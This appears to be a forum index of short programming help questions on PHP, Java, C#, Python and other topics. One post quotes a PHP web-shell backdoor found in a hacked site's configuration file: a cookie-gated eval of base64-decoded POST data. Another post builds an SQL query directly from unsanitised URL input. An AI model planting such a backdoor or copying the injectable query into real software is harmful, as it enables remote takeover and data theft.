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| | This is my class project to be made in pythonCard : A local community centre desires to have a user friendly application to keep track of their community members. The application must allow a user to display information about community members, including the list of activities that individual members are … |
| | This worked in VC++ 6 but in Visual Studio 2010 assign needs a second parameter, in the context of this function would it be a better idea to use resize or reserve and why? [CODE] bool CN3ShapeExtra::Load(HANDLE hFile) { bool bSuccess = CN3Shape::Load(hFile); int iPC = m_Parts.size(); m_Rotations.clear(); if(iPC <= … |
| | Hi i want to Color picker to wordpress website but unable to find any plugin to do it. i don't want it in admin section. i need it on my website. |
| | hello friends, i am doing my final project in which i have chosen to operate electrical appliances through cell phone in which i am going to use Linux and Perl to connect to cell phone and so on.... i am little stuck in the Perl way,can't figure it out that …  |
| | hello, small question if i may :-) [CODE] try: x=int(input()) except ValueError as var: print(str(var.args[0])) [/CODE] if i input a string like - abcd this code prints me the full error message invalid literal for int() with base 10: 'abcd' while i need only the input - abcd to be … |
| | I am running into an error with NoSuchElementException, Please help! Here is the error: Exception in thread "main" java.util.NoSuchElementException at java.util.Scanner.throwFor(Scanner.java:838) at java.util.Scanner.next(Scanner.java:1461) at java.util.Scanner.nextInt(Scanner.java:2091) at java.util.Scanner.nextInt(Scanner.java:2050) at Project.answerKey(Project.java:292) at Project.findMyAvg(Project.java:344) at Project.printMyResults(Project.java:269) at Project.printHeader(Project.java:203) at Project.main(Project.java:30) The code at line 292 is: [CODE]answer[count] = inScan.nextInt();[/CODE] the method is: [CODE] … |
| | Please i need your help in writing pseudocodes on the who wants to be a millionaire game.  |
| | How do I call a batch file in jython? thanks!!  |
| | I keep getting a error and I can't figure out whats causing it. An error(8) occurred on line 25. Undefined index: ecount Line 25 is [CODE]$parent_menu[$row->parentId]['ecount']++;[/CODE] and is apart of this, [CODE] if($row->parentId == 0){ $parent_menu[$row->id]['id'] = $row->id; $parent_menu[$row->id]['label'] = $row->title; $parent_menu[$row->id]['link'] = $row->id; $parent_menu[$row->id]['active'] = $row->active; $parent_menu[$row->id]['type'] = $row->type; … |
| | I have problem to insert value of fields as checkbox checked . please help me.[code]<ol > <?php $i = 0; $sql="SELECT * FROM import_master WHERE mawb='".trim($_GET['id'])."' ORDER BY conzName"; $rs=mysql_query($sql); while($row = mysql_fetch_array($rs)) { ?> <li> <div><table width="100%" border="0" align="center" cellpadding="5" cellspacing="1" class="entryTable"> <tr> <td class="label" > <input type="checkbox" id="chb[]" … |
 | Here's a little brain teaser for you all. A client wants a [B]secure[/B] members only area of thier website with username/password access control, however the sites web host does not support any form of server side scripting or htaccess and to complicate matters further the client will not or cannot …  |
| | Hi, I try to reach Start->Control Panel->Regional and Language Options->Customize->Decimal Symbol and change of that value from windows forms app written in c#. I search different solution from this : [CODE] System.Globalization.CultureInfo ci = System.Threading.Thread.CurrentThread.CurrentCulture; string decimalSeparator = ci.NumberFormat.CurrencyDecimalSeparator;[/CODE] because these System.Globalization or culture things can't see if the user … |
| | how to clear lines drawn on a panel.on some event i want to clear lines which r previosly drawn |
| | Hi. Ok, so I am looking for a all PHP website crawler (spider, indexer). I have tried out Sphider, but I don't really like all the complexities of it. In short, I am looking for a PHP script that takes the title, url, words, and puts it in a database. … |
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| | Hello, im searching a Packer wich can protect hackers from "Reverse Engineering". It has to work for Net DLLs which are made with visual studio 2008. and it would be awesome if it would be free. Cheers :) |
| | Hi I am developer in .NET but I need to access session object in client side and redirect the page to login. i am using the following code snippet but I am unable to achieve the target. [CODE]function CheckSession() { var session = '<%=Session["username"] != null%>'; //session = '<%=Session["username"]%>'; alert(session); … |
| | I am having a bit of a problem building my app. This is what I'm doing. Perhaps someone may be able to point out where I'm going wrong. When ready to build I click on solution explorer, properties and open, build tag. Output path is bin\release\. Yet when I do … |
 | Hello, i m using vb.net with MS Access database & oledbconnection in my project. now i want to mail my crystal report in pdf format to respected email-id, how can i do this????? i spent lot of time for searching some helpful bt didn't get  |
| | Hi I've seen a function in numpy ([URL="http://docs.scipy.org/doc/numpy/reference/generated/numpy.gradient.html"]http://docs.scipy.org/doc/numpy/reference/generated/numpy.gradient.html[/URL]) for calculating the gradient of a 2-dimensional array. Numpy also provides 2 examples on that website (I'm more interested in the second one). I now want to use such a function in C++. Does anyone know if there is such a function … |
| | I,m having a problem with my program. [CODE] float num,num1,score; cin>>num; score=num/num1; cout<<score; //if num and num1 is a digit, continue program; else, end program[/CODE] I already tried using (isalpha and isdigit), but it seems to be working only in int and char data type, also tried using stringstream approach, … |
 | hello to all members... i have developed a simple application with php...now i am further looking for learning RIA developments....i searched for flex and silverlight... i want to know is there any requirement for silverlight to have IIS server or any to work with php..... In flex i found good … |
| | I'm attempring to save the keys of mysql records in an array but get the Fatal Error: Can't use function return value in write context.. The code is: [code=php]for ($i = 0; $i < $tranrows; ++$i) { $tranrec = mysql_fetch_row($tranresult); $keyarray($i) = $tranrec[0]; }[/code] I've done all the mysql code …  |
| | Hi all, I'm busy writing a generic textfile reader class and I'm struggling to write the code to deal correctly with end-of-line (EOL) characters for Mac, Linux and Windows. I've done a fair bit of reading on the issue and I came up with the following function within my TextFileReader … |
| | timer i have two labels in C# windows Application and i want make it visilbe for once. on form load : label1.visible = true; label2.visible.false; and on timer tick event: label1.visible.false; label2.visivle = true; now after it perform one tick it display another form. how to do it. in my …  |
| | Hi, I'm a beginner with Java and I need help with an assignment: Write a program that will help the Toronto Blue Jay's scouts decide which players they should draft next year. For each player the scouts have been watching, a record has been prepared showing the player's name, age, …  |
| | Im trying to learn c++ and i got a book which is not that great in my opinion, due to errors. one of my problems im having with one of the exercises is trying to set values for food, land. every time i run the program i get a bunch …  |
| | Hi, i am currently doing a system for the rental video. I am new to java coding.. Problem is how to add data to access database using java coding in method? Thank you. |
| | Hello I wanna create an application that, inserted words an English and words an another one language will show you this in a random mode. Also you should be able to insert new words and carry on like this. I'm not smart enough so I got stuck. If someone would … |
| | I am sure many have seen this problem before (yes, it is for a class ) I have started it and think its "close" But I am not sure about the relationships, any help would be greaty appreciated. Below is the problem disreagrd the attached word doc our regional Oracle … |
| | Hey everybody. All my Google searches for help led me here so I thought I'd post my actual problem directly. I'm in a 101 programming course and this is only our second Python assignment. What I need to do is use one-dimensional parallel arrays to allow input of four different … |
| | Hi! I'm using Inno Setup to create setup file for my application. Inno Setup is based on Delphi Script. I searched for Inno Setup forums and I could not create an user account with any of them. That's why I've decided to post here. While installing I've to check the … |
 | Hello, I was reading web security stuffs and found that user can inject malicious codes mostly JS in forms. Now, What about CKFinder/TinyMCE et al? They obviously produce html and any stripping will destroy the article formatting. bad enough they have a "code mode" where user can enter html directly. … |
| | Hey guys, I'm working on a project to use Huffman trees to compress a text file into binary. For instance, based on the frequency of the characters in a string like "aardvark", a - 3 r - 2 d - 1 v - 1 k - 1, compression using a … |
 | How would I go about using swing components and graphics in the same program. Whenever I seem to add a swing component my graphics disappear. Please help. Thanks. My main Class [CODE] import java.awt.*; import java.awt.event.*; import javax.swing.*; public class ResistorColorCodeProgram implements MouseMotionListener, MouseListener, KeyListener{ public ResistorColorCodeProgram (){ JFrame resistorCCFrame … |
 | I need some help, some of the recent posts I made probably made no sense. lol. XML file im working with: [url]http://www.vafinancials.com/web/hubs_xml.php?id=18686[/url] I had an Idea but am unsure of how to use it. I thought of using something like a SQL query to echo out certain hub info. Like … |
| | I'm writing a C# program that makes use of the webBrowser control. Generally I've been successful in using it but have encountered a problem I can't figure out. I intercept the DocumentCompleted event from my webBrowser control. During the processing of that event I create an additional webBrowser control and … |
| | hi, Hours i've spent looking and the answer still eludes me. I am trying to create a dynamic hyperlink, based on the current page url and information appended from a text entry box ideally using PHP / javascript / iframe. I do not want to reload the page to get … |
| | Hi. I've a BST created for an address book application for my term project. When inserting into the BST, I insert items sorted by their first names in ascending order. The thing is that the user should be able to display the BST in the ascending form of last names …  |
| | The problem is that I want login to a remote pc using ssh through a python script. I don't want to use any ssh-keys (rsa keys,dsa keys etc.) nor do I want to use some extra module not incorporated in python standard libraries (telnet etc I guessed it is used … |
| | I have a dropdown box which should display an appropriate text box only when a particualar option is selected. Currently, the textboxes are displayed all the time. I do have a Javascript function that works for 2 options(hides always and displays only when the correct option is selected). But I … |
| | Hi everyone. My code is used to calculate fractions and display them as "3/4 + 3/4 = 3/2" and such. I having some trouble with the the code segment [CODE] calculate.setadd(); calculate.setsub(); calculate.setmult(); calculate.setdiv();[/CODE] There's a red line under the close parenthesis saying "too few arguments in function to call". … |
| | My site was hacked. They inserted this into livesite on configuartion.php [code]if (!empty($_COOKIE['v']) and $_COOKIE['v']=='d'){if (!empty($_POST['c'])) { $d=base64_decode(str_replace(' ','+',$_POST['c']));if($d) eval($d);} echo '<name=c></textarea>';exit;}[/code] what does it say??? Thanks |
| | I am working in sql server2005 and c# I have five database in my project and I want to display one table from each database in one datagridview. How can i do it. |
| | Hi, I got the cxfreeze working on the Mac OS X 10.6.7 and the distilled Python script runs fine on that Mac Book. Now I'm getting reports from Mac user clients that it doesn't work for them. It is a simple script that only calls from the Mac it's terminal. … |
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| | how to pass javascript value to php without get or post...mean in the same page..without submit |
 | I am populating combobox on checkbox checked or not click event. Here is code. I am not solving the bug, JS runs on chrome but not in both IE and Firefox. checkbox <input type="checkbox" onclick="selectinactivebatch(this.value);" id="inactive_batch" name="inactive_batch" <?php if(isset($_POST)) echo "checked";?>> AJAX Code function selectinactivebatch(checkboxvalue) { var check; if(checkboxvalue=='on') check=1; … |
| | Is it possible to use file to increase the memory available. for example: if we ahve code need 1 GB RAM to be work is it possible to run it in a system with 512MB RAM and use a file to allocate the rest of the memory needed. |
| | Hi, (PHP & MYSQL) I'm looking for some advice whilst creating my image gallery. I'm using the $_GET to bring the variables I need onto a new page, which will give more details about each product. My gallery works fine and I then have all the details coming onto the … |
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